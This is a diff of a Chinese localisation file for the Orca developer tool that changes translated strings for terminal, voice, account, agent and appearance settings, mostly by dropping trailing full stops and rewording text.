           "integrationsLink": "集成",
-          "skillHint": "。连接 Linear 后，可在设置 → Linear 中查看使用示例。",
-          "incompleteBannerBodyWithLinear": "隐藏不使用的提供商，或展开卡片并完成其中的步骤。Linear 需要 API 访问权限、智能体技能以及在任务中显示。",
+          "skillHint": " 中管理，连接 Linear 后，可到设置 → Linear 查看使用示例",
+          "incompleteBannerBodyWithLinear": "隐藏不用的提供商，或展开卡片完成其中的步骤，Linear 需要 API 访问权限、代理技能，并在任务中显示",
           "30255b39dc": "任务提供者"
         },
         "TerminalAppearanceSection": {
-          "a14a427ae4": "窗格分隔线的粗细。",
-          "db632cb50e": "不透明度应用于当前不活动的窗格。",
-          "04cdf85dec": "终端光标的不透明度。",
-          "2de6b5a699": "使用所选光标形状的闪烁变体。",
+          "a14a427ae4": "窗格分隔线的厚度",
+          "db632cb50e": "不透明度应用于当前不活动的窗格",
+          "04cdf85dec": "终端光标的不透明度",
+          "2de6b5a699": "使用所选光标形状的闪烁变体",
           "74736cc9b1": "闪烁 Cursor",
           "2e5aec3cf6": "强调",
           "52854a5608": "块状",
           "e070e8aeba": "竖线",
-          "d455f2ef4f": "Orca 终端窗格的默认光标外观。",
+          "d455f2ef4f": "Orca 终端窗格的默认光标外观",
           "abcb4dd019": "终端光标",
           "31f6e61085": "目前连字",
           "870377082f": "关",
           "84bd22f2cd": "开",
           "bc9ff84d61": "自动",
-          "4b1f29598e": "自动 - 对“{{value0}}”禁用。",
-          "400e950ca5": "自动 - 为“{{value0}}”启用。",
-          "04569feb07": "始终关闭，即使对于附带它们的字体也是如此。",
-          "7234abcd08": "始终开启。没有连字的字体只是按原样渲染。",
+          "4b1f29598e": "自动 - 对\"{{value0}}\"禁用",
+          "400e950ca5": "自动 - 为\"{{value0}}\"启用",
+          "04569feb07": "始终关闭，即使对于附带它们的字体也是如此",
+          "7234abcd08": "始终开启，没有连字的字体只是按原样渲染",
           "855a76343a": "从 Ghostty 导入",
           "4415beb958": "已禁用",
           "4e7d41a9f0": "已启用",
-          "dimUnfocusedPanes": "调暗未聚焦的窗格。",
+          "dimUnfocusedPanes": "调暗未聚焦的窗格",
           "4adb9364f4": "Cursor 形状",
           "4d8b35c479": "非活动窗格不透明度",
           "55c3f22e7c": "Cursor 不透明度",
@@ -8501,68 +8794,68 @@
         },
         "TerminalFontSizeSetting": {
           "9b5252c85a": "像素",
-          "0f4c92e595": "新窗格和实时更新的默认终端字体大小。",
+          "0f4c92e595": "新窗格和实时更新的默认终端字体大小",
           "a653570abf": "字体大小"
         },
         "TerminalPane": {
-          "4263e940e0": "按 JIS 日元 (¥) 键会发送反斜杠 (\\\\)。",
+          "4263e940e0": "按 JIS 日元 (¥) 键会发送反斜杠 (\\\\)",
           "19f4935159": "JIS 日元 (¥) 至 反斜杠 (\\\\)",
-          "1c337bef4a": "控制按 JIS 日元 (¥) 键是否发送反斜杠 (\\\\)。",
+          "1c337bef4a": "控制按 JIS 日元 (¥) 键是否发送反斜杠 (\\\\)",
           "3fe1c5bfe0": "关",
           "c73d510938": "右边",
           "e7aec1fd60": "左边",
           "badb1219fc": "两个都",
           "43c2ff7b0e": "自动",
           "0a10420e1a": "选项作为 Alt",
-          "ce3aadf0b2": "{{value0}} Option键发送Alt/Esc；另一个组成特殊字符。",
-          "b62373091a": "两个 Option 键都发送 Alt/Esc 序列。",
-          "d8998bb328": "选项为您的键盘布局组成特殊字符。",
-          "d21c493808": "自动 — 已检测：{{value0}}。",
-          "2561d3fc1b": "控制 macOS Option 键是发送 Alt/Esc 序列还是组合字符。",
+          "ce3aadf0b2": "{{value0}} Option键发送Alt/Esc，另一个组成特殊字符",
+          "b62373091a": "两个 Option 键都发送 Alt/Esc 序列",
+          "d8998bb328": "选项为您的键盘布局组成特殊字符",
+          "d21c493808": "自动 — 已检测：{{value0}}",
+          "2561d3fc1b": "控制 macOS Option 键是发送 Alt/Esc 序列还是组合字符",
           "96be03b8eb": "PowerShell 7+",
           "d26174e1dd": "Windows PowerShell",
           "822f62ddcd": "下载 PowerShell 7+",
-          "a016ffbeed": "Auto 现在使用 Windows PowerShell，并在安装后切换到 PowerShell 7+。",
-          "5ed5c95344": "为新的终端窗格选择 Windows PowerShell 和 PowerShell 7+。",
-          "3d88af864d": "选择 PowerShell shell 选项是为新终端窗格启动 Windows PowerShell 还是 PowerShell 7+。",
+          "a016ffbeed": "自动模式现在使用 Windows PowerShell，并在安装后切换到 PowerShell 7+",
+          "5ed5c95344": "为新的终端窗格选择 Windows PowerShell 和 PowerShell 7+",
+          "3d88af864d": "PowerShell 启动 Windows PowerShell 还是 PowerShell 7+",
           "12e06178fa": "行",
           "907b0b9d3e": "自定义",
           "5336c096af": "{{value0}} 行",
-          "81d86b2dd2": "为新窗格和已打开窗格保留的桌面终端行数。",
-          "c3810b2b42": "保留的桌面终端行数。",
-          "267d020745": "回滚、字边界和特定于平台的终端行为。",
+          "81d86b2dd2": "为新窗格和已打开窗格保留的桌面终端行数",
+          "c3810b2b42": "保留的桌面终端行数",
+          "267d020745": "回滚、字边界和特定于平台的终端行为",
           "5e5f06c82c": "高级",
-          "6e6480a7df": "让终端中的程序（Zellij、tmux、Neovim、fzf、Grok、SSH）复制到系统剪贴板。",
-          "69c64a479c": "让 Zellij、tmux、Neovim、fzf 和 Grok 通过 PTY（包括通过 SSH）复制到系统剪贴板。",
-          "9129b7e805": "将鼠标悬停在终端窗格上即可将其激活，无需单击。",
+          "6e6480a7df": "允许终端程序(Zellij、tmux、Neovim、fzf、Grok、SSH)复制到系统剪贴板",
+          "69c64a479c": "允许 Zellij、tmux、Neovim、fzf、Grok 等通过 PTY(含 SSH)复制到系统剪贴板",
+          "9129b7e805": "将鼠标悬停在终端窗格上即可将其激活，无需单击",
           "96fe15def8": "终端窗格的滚动、鼠标和剪贴板行为。",
           "9c0b1c1792": "开",
-          "e0996d141a": "Auto 尝试使用 WebGL，并针对不受支持或有风险的渲染器使用 DOM 回退。",
-          "7eaccc1424": "始终尝试将 WebGL 用于终端窗格。",
-          "fe4acf36c6": "WebGL 已禁用； DOM 渲染器可实现最大兼容性。",
-          "f07dfb4466": "控制终端是否使用 xterm.js WebGL 渲染。当渲染器受支持时，Auto 会尝试 WebGL，并为软件或未知 GPU 渲染器提供保守的 Linux 后备方案。",
-          "72bc9334a0": "实时窗格和新窗格的终端渲染器行为。",
+          "e0996d141a": "自动模式会尝试使用 WebGL，并针对不受支持或有风险的渲染器使用 DOM 回退",
+          "7eaccc1424": "始终尝试将 WebGL 用于终端窗格",
+          "fe4acf36c6": "WebGL 已禁用，DOM 渲染器可实现最大兼容性",
+          "f07dfb4466": "控制终端是否使用 xterm.js WebGL，「自动」在支持时启用，否则回退",
+          "72bc9334a0": "实时窗格和新窗格的终端渲染器行为",
           "2fba319f21": "渲染",
           "b637dd57a7": "WSL",
           "f61ac77f16": "git bash",
           "0f1b8669e6": "命令提示符",
           "eb7fc4d98a": "PowerShell",
-          "09bf02de9a": "打开新的终端窗口时使用的 Shell。对新的终端生效。",
-          "bd68f3170d": "为 Windows 上的新终端窗口选择默认 Shell。",
-          "a55eee649f": "Windows 上新终端窗口的默认 Shell。",
-          "16753eea48": "右键单击粘贴剪贴板。 Ctrl+右键单击打开上下文菜单。",
+          "09bf02de9a": "打开新的终端窗口时使用的 Shell，对新的终端生效",
+          "bd68f3170d": "为 Windows 上的新终端窗口选择默认 Shell",
+          "a55eee649f": "Windows 上新终端窗口的默认 Shell",
+          "16753eea48": "右键单击粘贴剪贴板，Ctrl+右键单击打开上下文菜单",
           "9c178cf8aa": "右键单击粘贴",
-          "af0c3b6e39": "右键单击将剪贴板粘贴到终端中。使用 Ctrl+右键单击打开上下文菜单。",
+          "af0c3b6e39": "右键单击将剪贴板粘贴到终端中，使用 Ctrl+右键单击打开上下文菜单",
           "scrollSpeed": {
-            "description": "调整普通终端回滚、修饰键快速滚动以及全屏 TUI 滚轮速度。",
-            "helper": "调整滚轮输入在回滚和支持鼠标的终端应用中的手感。",
+            "description": "调整普通终端回滚、修饰键快速滚动以及全屏 TUI 滚轮速度",
+            "helper": "调整滚轮输入在回滚和支持鼠标的终端应用中的手感",
             "reset": "重置",
             "normal": "普通",
-            "normalDescription": "回滚滚轮倍数。",
+            "normalDescription": "回滚滚轮倍数",
             "fast": "快速",
-            "fastDescription": "按住修饰键滚动时的额外倍数。",
+            "fastDescription": "按住修饰键滚动时的额外倍数",
             "tui": "TUI",
-            "tuiDescription": "面向全屏终端应用的离散滚轮报告。",
+            "tuiDescription": "面向全屏终端应用的离散滚轮报告",
             "f7b030e015": "滚动速度"
           },
           "8dbe0bc942": "shell 参数，每行一个",
@@ -8570,17 +8863,17 @@
           "48b91a3ed2": "自定义参数",
           "7bd83fc1d0": "-l（默认）",
           "5ffc4777b6": "shell 参数模式",
-          "578ec79449": "每行输入一个参数。留空则不传递任何参数。",
-          "884a006065": "使用 -l 将 shell 作为登录 shell 启动。",
+          "578ec79449": "每行输入一个参数，留空则不传递任何参数",
+          "884a006065": "使用 -l 将 shell 作为登录 shell 启动",
           "01c600daff": "shell 参数",
-          "e3ae5aed18": "。请切换到系统 shell 或选择此主机上的可执行文件。",
-          "59573d0b33": "输入 PATH 中的 shell 名称或可执行文件路径。Orca 会将其作为登录 shell 启动。",
+          "e3ae5aed18": "，请切换到系统 shell 或选择此主机上的可执行文件",
+          "59573d0b33": "输入 PATH 中的 shell 名称或可执行文件路径，Orca 会将其作为登录 shell 启动",
           "5e06e87730": "自定义 shell 可执行文件",
           "c2bf02ce2f": "fish、nu 或 /bin/zsh",
           "f51cc79784": "自定义 shell",
           "dd3f4c35da": "系统 shell ({{value0}})",
           "fd05fb109c": "终端 shell",
-          "69724e8f0c": "选择 Orca 为新本地终端窗格打开的 shell。",
+          "69724e8f0c": "选择 Orca 为新本地终端窗格打开的 shell",
           "c2ddb189e7": "rcfile",
           "73c211e979": "wrapper",
           "4faf688f78": "登录",
@@ -8614,17 +8907,17 @@
           "50419052fe": "窗格分隔线"
         },
         "TerminalThemeSections": {
-          "5e0c24b5c8": "控制浅色模式下窗格之间的分割分隔线。",
-          "d56af60e6f": "选择 Orca 处于浅色模式时使用的主题。",
-          "cbe56a0f79": "控制深色模式下窗格之间的分割分隔线。",
-          "7add204bd5": "选择深色模式下使用的终端主题。",
+          "5e0c24b5c8": "控制浅色模式下窗格之间的分割分隔线",
+          "d56af60e6f": "选择 Orca 处于浅色模式时使用的主题",
+          "cbe56a0f79": "控制深色模式下窗格之间的分割分隔线",
+          "7add204bd5": "选择深色模式下使用的终端主题",
           "target_aria": "终端主题模式",
           "target_dark": "深色",
           "target_light": "浅色",
           "match_dark_mode": "匹配深色模式",
-          "match_dark_mode_description": "在浅色模式中共享深色终端主题和分隔线颜色。",
-          "light_preview_description": "显示实际生效的浅色终端外观。",
-          "dark_preview_description": "显示实际生效的深色终端外观。",
+          "match_dark_mode_description": "在浅色模式中共享深色终端主题和分隔线颜色",
+          "light_preview_description": "显示实际生效的浅色终端外观",
+          "dark_preview_description": "显示实际生效的深色终端外观",
           "3ebb499929": "深色模式预览",
           "43afde3df7": "浅色模式分隔线颜色",
           "2a11e028ff": "浅色模式预览",
@@ -8636,15 +8929,15 @@
         },
         "TerminalWindowSection": {
           "1705318506": "ANSI 洋红色",
-          "e86e09b5c7": "覆盖各个终端颜色。",
-          "1d1920dc8a": "在终端中输入时隐藏鼠标光标。",
-          "1846f6ee6a": "终端网格周围的垂直填充（以像素为单位）。",
-          "25e2f8e8e1": "终端网格周围的水平填充（以像素为单位）。",
+          "e86e09b5c7": "覆盖各个终端颜色",
+          "1d1920dc8a": "在终端中输入时隐藏鼠标光标",
+          "1846f6ee6a": "终端网格周围的垂直填充(以像素为单位)",
+          "25e2f8e8e1": "终端网格周围的水平填充(以像素为单位)",
           "c65bb9ce63": "需要重新启动",
-          "809f37738d": "控制终端背景的透明度。 1 是完全不透明，0 是完全透明。",
-          "03acb60aa0": "控制终端背景的透明度。",
-          "00eaa6b881": "窗口外观和背景设置。",
-          "b96ba13ed1": "窗口",
+          "809f37738d": "控制终端背景的透明度，1 是完全不透明，0 是完全透明",
+          "03acb60aa0": "控制终端背景的透明度",
+          "00eaa6b881": "窗口外观和背景设置",
+          "b96ba13ed1": "窗户",
           "42e01a6055": "ANSI 亮白色",
           "1601140f03": "ANSI 亮青色",
           "fe4d89ef85": "ANSI 明亮的洋红色",
@@ -8670,7 +8963,7 @@
           "adfdee23cb": "黑色的",
           "b2c0857c49": "所选文本的文本颜色",
           "74d8555f85": "所选文本的背景颜色",
-          "7f4063076c": "光标下文本的颜色（块光标）",
+          "7f4063076c": "光标下文本的颜色(块光标)",
           "cd0700762b": "Cursor 颜色",
           "c9e1fdf42f": "光标",
           "da64e8f4c1": "终端背景颜色",
@@ -8680,7 +8973,7 @@
           "cf37ff69f6": "根据",
           "8abdab9f7c": "立即重启",
           "907131d741": "正在重新启动...",
-          "605a35d600": "终端渲染器尚未应用此项 — xterm.js 没有粗体颜色槽位。已保存的值会被保留。",
+          "605a35d600": "终端渲染器尚未应用此项 — xterm.js 没有粗体颜色槽位，已保存的值会被保留",
           "color_overrides_dark_description": "覆盖深色终端主题的各个颜色。",
           "color_overrides_light_description": "覆盖浅色终端主题的各个颜色。",
           "reset_dark_color_overrides": "重置深色主题颜色覆盖",
@@ -8709,37 +9002,37 @@
           "c2c64b24d0": "重置"
         },
         "VoicePane": {
-          "68de13f72c": "删除模型失败。",
-          "cfde55c7b0": "下载模型失败。",
+          "68de13f72c": "删除模型失败",
+          "cfde55c7b0": "下载模型失败",
+          "ba4a900d1d": "听写模式",
           "62d2a84d31": "无法清除 OpenAI API 密钥",
           "37aba8bb63": "OpenAI API 密钥已清除",
           "8572bbb537": "无法保存 OpenAI API 密钥",
           "506df81ba6": "OpenAI API 密钥已保存",
           "91980ce124": "{{value0}} MB",
           "61a16c8141": "正在提取...",
-          "174da92062": "按住",
+          "174da92062": "保持",
           "118b3c2dee": "切换",
-          "ad5d036ecc": "无法请求麦克风权限。未启用语音听写。",
-          "f9a9cf6928": "启用语音听写之前需要麦克风许可。",
-          "1eac933202": "打开 macOS 隐私和安全。授予访问权限后再次启用听写。",
+          "ad5d036ecc": "无法请求麦克风权限，未启用语音听写",
+          "f9a9cf6928": "启用语音听写之前需要麦克风许可",
+          "1eac933202": "打开 macOS 隐私和安全，授予访问权限后再次启用听写",
           "cd9fe37556": "已授予麦克风权限",
           "6fa734ed95": "删除 {{value0}}",
           "openAiKeyName": "您的 OpenAI 转录密钥",
           "dictationModeAuto": "自动",
           "speechGpuLabel": "使用 GPU",
-          "c5ea32143e": "语音模型",
-          "ba4a900d1d": "听写模式"
+          "c5ea32143e": "语音模型"
         },
         "WorktreeSymlinksSection": {
           "1c1e35b219": "删除 {{value0}}",
           "b814c618e2": "链接路径",
-          "31ebab5403": "此仓库未配置共享路径。",
+          "31ebab5403": "此存储库未配置共享路径",
           "ea06227efa": "额外",
           "b2429aeb31": "添加",
-          "ab40b8a5f1": "没有匹配项。继续输入以添加自定义路径。",
-          "4cd2a4c077": "输入路径（例如 .env 或 node_modules）...",
-          "7ff265071d": "创建新工作树时，此处列出的每个路径会在可能时通过 macOS 上的 APFS clone-copy 复制；否则，会从主检出目录创建符号链接。",
-          "b07ef5a8b6": "从主检出目录放入新建工作树的路径。",
+          "ab40b8a5f1": "没有匹配项，继续输入以添加自定义路径",
+          "4cd2a4c077": "输入路径(例如 .env 或 node_modules)...",
+          "7ff265071d": "创建新工作树时，尽量用 APFS 克隆复制下列路径，否则从主检出创建符号链接",
+          "b07ef5a8b6": "从主检出目录放入新建工作树的路径",
           "d72ba8dc68": "{{value0}} 路径",
           "9ea912d811": "1 条路径",
           "9a7cd44772": "添加路径",
@@ -8753,20 +9046,20 @@
           "9b6627522c": "刷新",
           "ab6b022a5c": "刷新 WSL CLI 状态",
           "d9c6880dbd": "WSL shell 命令",
-          "52d990420e": "无法从 WSL 中删除“{{value0}}”。",
-          "89c7414cf5": "从 WSL 中删除了 `{{value0}}`。",
-          "6f91ad1333": "无法在 WSL 中注册“{{value0}}”。",
-          "951536dda5": "在 WSL 中注册了 `{{value0}}`。",
-          "26b4b3b00f": "无法加载 WSL CLI 状态。",
+          "52d990420e": "无法从 WSL 中删除\"{{value0}}\"",
+          "89c7414cf5": "从 WSL 中删除了 `{{value0}}`",
+          "6f91ad1333": "无法在 WSL 中注册\"{{value0}}\"",
+          "951536dda5": "在 WSL 中注册了 `{{value0}}`",
+          "26b4b3b00f": "无法加载 WSL CLI 状态",
           "290bfff3ab": "注册",
           "f951f85196": "移除",
           "4c4a9178a3": "注册...",
           "4598b18464": "正在删除...",
-          "7ee4e52b99": "Orca 将注册 {{value0}} ，以便该命令在 WSL 终端上运行。",
-          "d8216eb22e": "这会删除 WSL shell 命令。 Orca 本身仍安装在 Windows 上。",
+          "7ee4e52b99": "Orca 将注册 {{value0}} ，以便该命令在 WSL 终端上运行",
+          "d8216eb22e": "这会删除 WSL shell 命令，Orca 本身仍安装在 Windows 上",
           "e49688f67f": "在 WSL 中注册 `{{value0}}`？",
-          "61ac55278e": "从 WSL 中删除“{{value0}}”？",
-          "7aa456a460": "在 WSL 内的 ~/.local/bin 中注册 `orca-ide`。",
+          "61ac55278e": "从 WSL 中删除\"{{value0}}\"？",
+          "7aa456a460": "在 WSL 内的 ~/.local/bin 中注册 `orca-ide`",
           "0307677bb9": "正在检查 WSL CLI 注册..."
         },
         "accounts": {
@@ -8777,7 +9070,7 @@
             "421c6be25e": "ID",
             "be8b621bdc": "工作区",
             "8dcbef1856": "opencode",
-            "38d22ff8d6": "如果自动查找失败，可选的工作区 ID 覆盖。",
+            "38d22ff8d6": "如果自动查找失败，可选的工作区 ID 覆盖",
             "9c4e40cf6b": "会话",
             "61f7d1fcbe": "cookies",
             "b7c2cee442": "实验性",
@@ -8785,7 +9078,7 @@
             "933deaf732": "OAuth",
             "8630464352": "CLI",
             "e8e1ff3887": "gemini",
-            "bada4a3218": "从本地 Gemini CLI 安装中提取 OAuth 凭据以通过 Google 进行身份验证。",
+            "bada4a3218": "从本地 Gemini CLI 安装中提取 OAuth 凭据以通过 Google 认证",
             "d819755b02": "使用 Gemini CLI 凭据",
             "35b461d817": "登入",
             "f2d666a886": "可选",
@@ -8793,24 +9086,24 @@
             "5b3f18ef4a": "转变",
             "06662af91e": "账户",
             "70d1b8def5": "codex",
-            "87a4a8584e": "选择哪个可选的已保存 Codex 账户支持实时配额读取。",
+            "87a4a8584e": "选择哪个可选的已保存 Codex 账户支持实时配额读取",
             "042885c07c": "过时的",
             "02c438bc7b": "已到期",
             "77e32a2ad3": "重新验证",
             "c759741d77": "配额",
-            "b40d5b6570": "Codex 和实时速率限制提取的可选账户切换。",
+            "b40d5b6570": "Codex 和实时速率限制提取的可选账户切换",
             "e14049e1a8": "claude",
-            "dd75a73991": "Claude 的可选账户切换，同时保留共享聊天上下文。",
+            "dd75a73991": "Claude 的可选账户切换，同时保留共享聊天上下文",
             "e02c136ad0": "授权",
             "9f70aa706c": "提供者",
             "488a7e9206": "操作系统",
             "0b4d948eb5": "wsl",
             "bdbd1e668e": "视窗",
             "593720c17f": "位置",
-            "b84a5b0c8a": "选择是否在此设备上或 WSL 中检查和添加提供商账户。",
-            "f8374c3151": "配置 MiniMax 用量跟踪。选择海外或中国端点，然后粘贴会话 Cookie 或保存适用于该端点的 API 密钥。",
+            "b84a5b0c8a": "选择是否在此设备上或 WSL 中检查和添加提供商账户",
+            "f8374c3151": "配置 MiniMax 用量跟踪，选择海外或中国端点，然后粘贴会话 Cookie 或保存适用于该端点的 API 密钥",
             "f4a8c2e1b7": "Grok (xAI) 使用情况",
-            "e3b7d1f9a2": "通过 Grok CLI（grok login）OAuth 登录以查看每周额度使用量。",
+            "e3b7d1f9a2": "通过 Grok CLI(grok login)OAuth 登录以查看每周额度使用量",
             "d2c6a0e8f1": "grok",
             "c1b5f9d7e0": "xai",
             "b0a4e8c6d9": "OAuth",
@@ -8819,11 +9112,11 @@
             "3a9b6d2c4e": "API 密钥",
             "5d8f1a3b7c": "中国",
             "7e2a4b8c1d": "海外",
-            "37020a02c2": "安慰",
-            "25591bf95b": "粘贴完整的 opencode.ai Cookie 标头，包括 __Host-console_session，以进行速率限制提取。",
+            "37020a02c2": "控制台",
+            "25591bf95b": "请粘贴完整的 opencode.ai Cookie 请求头（包括 __Host-console_session），以获取速率限制信息",
             "d16378a88f": "极小极大",
             "cursor": {
-              "description": "从此电脑上已有的 Cursor 登录（cursor-agent login）读取套餐用量。",
+              "description": "从此电脑上已有的 Cursor 登录（cursor-agent login）读取套餐用量",
               "kw": {
                 "cursor": "cursor",
                 "rateLimit": "速率限制",
@@ -8834,7 +9127,7 @@
               "39bbdebe13": "Cursor 用量"
             },
             "zcodePlan": {
-              "description": "追踪 Z.AI 或智谱（BigModel）GLM Coding Plan 的用量。选择站点并保存套餐 API key。",
+              "description": "追踪 Z.AI 或智谱（BigModel）GLM Coding Plan 的用量，选择站点并保存套餐 API key",
               "kw": {
                 "glm": "glm",
                 "zai": "zai",
@@ -8871,7 +9164,7 @@
             "4d44352eea": "网络",
             "2b4d26d11e": "联网",
             "e04e9db503": "高级",
-            "585f56fae0": "当 HTTP/2 在代理后面失败时，使用 HTTP/1.1 进行 Electron 网络。",
+            "585f56fae0": "当 HTTP/2 在代理后面失败时，使用 HTTP/1.1 进行 Electron 网络",
             "11eea3da72": "HTTP/1.1 兼容性"
           }
         },
@@ -8884,9 +9177,9 @@
             "d608654c03": "wsl",
             "77c02fa3c3": "视窗",
             "d2952dfd74": "位置",
-            "96ba2373b6": "智能体",
-            "01926b9d8c": "配置 AI 编码智能体、默认智能体和命令覆盖。",
-            "bb9ad95777": "智能体",
+            "96ba2373b6": "代理",
+            "01926b9d8c": "配置 AI 编码代理、默认代理和命令覆盖",
+            "bb9ad95777": "代理",
             "d8f3a8b8a0": "默认",
             "167daeb5e9": "命令",
             "be59907510": "覆盖",
@@ -8928,21 +9221,21 @@
             "8a17fd6026": "稳定",
             "a79d266f71": "会话",
             "afbf35be68": "稳定会话",
-            "agentRuntimeDescription": "选择默认在 Windows 还是 WSL 中检测并启动智能体。",
+            "agentRuntimeDescription": "选择默认在 Windows 还是 WSL 中检测并启动代理",
             "runtime": "运行时",
-            "agentLocation": "智能体位置",
-            "installedAgentsWsl": "在 wsl 中安装智能体",
-            "permission": "允许",
+            "agentLocation": "代理位置",
+            "installedAgentsWsl": "WSL 中安装的代理",
+            "permission": "权限",
             "permissions": "权限",
-            "yolo": "约洛",
-            "manual": "手动的",
+            "yolo": "YOLO",
+            "manual": "手动",
             "skip": "跳过",
             "checks": "检查",
             "7e15b89f6e": "服务器",
             "ff457e1e7b": "守护进程",
             "9f3becc4e8": "共享",
             "34337ed5c7": "隔离",
-            "9a84e65118": "智能体概览",
+            "9a84e65118": "代理概览",
             "1523c4190f": "智能体运行时",
             "788559d398": "智能体权限"
           }
@@ -8952,11 +9245,11 @@
             "468448bba4": "水彩",
             "f586abfa35": "蓝色",
             "651f35b2c6": "切换器",
-            "e5bc35d59e": "窗口",
+            "e5bc35d59e": "窗户",
             "d18b54ca90": "码头",
             "1f2880a9d5": "orca",
             "2cfb3420c0": "应用程序图标",
-            "e80c2af428": "选择 Dock 和窗口切换器中显示的应用程序图标。",
+            "e80c2af428": "选择 Dock 和窗口切换器中显示的应用程序图标",
             "839fb1e3ed": "工具箱",
             "ac79fe4a04": "显示",
             "648eeada79": "隐藏",
@@ -8964,84 +9257,84 @@
             "5bff6a2ef0": "侧边栏",
             "5e5b8878bf": "手机",
             "74618577c7": "移动端",
-            "682293cadf": "在左侧边栏顶部显示 Orca 手机端按钮。",
+            "682293cadf": "在左侧边栏顶部显示 Orca 手机端按钮",
             "4c920ab2d1": "日程",
             "58f4e22fa2": "自动化",
             "b186f3cefb": "自动化",
-            "ae13a0d340": "在左侧边栏顶部显示“自动化”按钮。",
+            "ae13a0d340": "在左侧边栏顶部显示\"自动化\"按钮",
             "6b846424cc": "Linear",
             "2ee4810f38": "GitHub",
             "0d5a74b606": "任务",
-            "9a248333c7": "在左侧边栏顶部显示“任务”按钮。",
+            "9a248333c7": "在左侧边栏顶部显示\"任务\"按钮",
             "a895d0f938": "品牌",
             "51f957ce39": "名称",
             "36e006efc1": "应用程序",
             "bed343b03e": "标题栏",
-            "18b4c4c30b": "在标题栏中显示 Orca。",
+            "18b4c4c30b": "在标题栏中显示 Orca",
             "c1bca1885a": "文件浏览器",
             "9f2df826ac": "被忽略",
             "08c86bf58e": "吉蒂诺尔",
             "bce3ac317a": "git",
-            "7164edf71a": "文件资源管理器中与 .gitignore 匹配的暗淡文件。",
+            "7164edf71a": "文件资源管理器中与 .gitignore 匹配的暗淡文件",
             "2f12e1aa3a": "用户界面",
             "5095258df2": "界面",
             "fab91464dd": "IDE",
             "8b36fb3f64": "版式",
             "a0e09aed9c": "字体",
             "24094af355": "字体",
-            "07c7c38fac": "选择 Orca 界面使用的字体。",
+            "07c7c38fac": "选择 Orca 界面使用的字体",
             "0c83659f48": "捷径",
             "0952091186": "比例",
             "3ae5de6101": "缩放",
-            "adddb91a3d": "缩放整个应用程序界面。",
+            "adddb91a3d": "缩放整个应用程序界面",
             "3a9b69d734": "系统",
             "44d873fd18": "浅色",
             "262fe1d24f": "深色",
-            "0709c794f7": "选择 Orca 在应用程序窗口中的外观。",
+            "0709c794f7": "选择 Orca 在应用程序窗口中的外观",
             "71e06350b4": "主题",
             "dc02c8759d": "工作区",
             "43cfba3b95": "服务器",
             "46d21eef62": "本地主机",
             "006e67b279": "端口",
             "896eb53fd4": "状态栏",
-            "0ececfa190": "在状态栏中显示实时工作区端口。",
+            "0ececfa190": "在状态栏中显示实时工作区端口",
             "cf409b6c4d": "端口",
             "cb1cc62cf8": "空间",
             "90bdc043ea": "磁盘",
             "96b4fb0064": "终端",
             "4ddbde4999": "CPU",
             "4355f18ac6": "内存",
-            "9c4d5f0894": "管理器",
+            "9c4d5f0894": "经理",
             "c690a15849": "资源",
-            "81ef5abc2f": "在状态栏中显示 CPU、内存、终端会话和工作区磁盘使用情况。",
+            "81ef5abc2f": "在状态栏中显示 CPU、内存、终端会话和工作区磁盘使用情况",
             "fe192b060e": "主机",
             "f4997e0f8a": "联系",
             "a278406ed5": "远程",
             "6ecad74eb3": "SSH",
-            "f17d66d0d2": "在状态栏显示远程主机连接状态。",
+            "f17d66d0d2": "在状态栏显示远程主机连接状态",
             "35565867cb": "moonshot",
             "de586def95": "订阅",
             "00a028f25f": "用量",
             "40e5c3c285": "kimi",
-            "c927a155d5": "在状态栏中显示 Kimi 订阅使用情况。",
+            "c927a155d5": "在状态栏中显示 Kimi 订阅使用情况",
             "25e51b62ee": "速率限制",
             "d9e7cef86f": "Cookie",
             "d16378a88f": "minimax",
-            "e46178eb1b": "在状态栏中显示 MiniMax 订阅使用情况。",
+            "e46178eb1b": "在状态栏中显示 MiniMax 订阅使用情况",
             "edbf0f63a0": "成本",
             "afbb6a3767": "Token",
             "d77537b580": "opencode-go",
             "a9d56852eb": "opencode",
-            "7f72de7cbe": "在状态栏中显示 OpenCode Go Token 和成本使用情况。",
+            "7f72de7cbe": "在状态栏中显示 OpenCode Go Token 和成本使用情况",
             "51b0ccd6a2": "谷歌",
             "2804a920ad": "gemini",
-            "9660c5b2f1": "在状态栏中显示 Gemini Token 和成本使用情况。",
+            "9660c5b2f1": "在状态栏中显示 Gemini Token 和成本使用情况",
             "97957e374e": "开放伊",
             "8dfd676c28": "codex",
-            "e9e4412545": "在状态栏中显示 Codex Token 和成本使用情况。",
+            "e9e4412545": "在状态栏中显示 Codex Token 和成本使用情况",
             "dea0a9a665": "anthropic",
             "c9fe3a7876": "claude",
-            "de50c6f516": "在状态栏中显示 Claude Token 和成本使用情况。",
+            "de50c6f516": "在状态栏中显示 Claude Token 和成本使用情况",
             "language": {
               "locale": "区域设置",
               "i18n": "国际化",
@@ -9050,12 +9343,12 @@
             "leftSidebarAppearance": {
               "project": "项目",
               "background": "背景",
-              "tint": "着色",
+              "tint": "色调",
               "tintDescription": "保持左侧边栏默认或为其着色。要跟随终端，请将浅色或深色主题设为“匹配终端”。",
               "0a5d3677f0": "左侧边栏外观"
             },
             "workspaceCardLayout": {
-              "description": "工作区卡片可以使用紧凑或详细布局。",
+              "description": "工作区卡片可以使用紧凑或详细布局",
               "compact": "紧凑",
               "compactDisplay": "紧凑显示",
               "workspaceCards": "工作区卡片",
@@ -9065,42 +9358,42 @@
               "detailed": "详细",
               "fc7c945fd9": "工作区卡片布局"
             },
-            "4d5b9427b5": "启用后，关闭窗口会让 Orca 继续在系统托盘中运行，而不是退出。",
+            "4d5b9427b5": "启用后，关闭窗口会让 Orca 继续在系统托盘中运行，而不是退出",
             "showPinnedWorktreesInGroups": {
               "title": "也在原来的列表中显示已固定的工作树",
-              "description": "已固定的工作树会保留在 Pinned 中，同时也显示在全部、项目、状态和 PR 中。",
-              "pinned": "固定的",
+              "description": "已固定的工作树会保留在 Pinned 中，同时也显示在全部、项目、状态和 PR 中",
+              "pinned": "已固定",
               "worktree": "工作树",
               "workspace": "工作区",
               "all": "全部",
               "project": "项目",
               "status": "状态",
               "pr": "PR",
-              "duplicate": "复制"
+              "duplicate": "重复"
             },
-            "antigravityUsageDescription": "在状态栏中显示 Antigravity 订阅使用情况。",
+            "antigravityUsageDescription": "在状态栏中显示 Antigravity 订阅使用情况",
             "antigravityKeyword": "antigravity",
-            "e7d1b0f3a5": "显示来自 Grok CLI OAuth 的 Grok 每周额度使用情况。",
+            "e7d1b0f3a5": "显示来自 Grok CLI OAuth 的 Grok 每周额度使用情况",
             "d6c0a9e2f4": "grok",
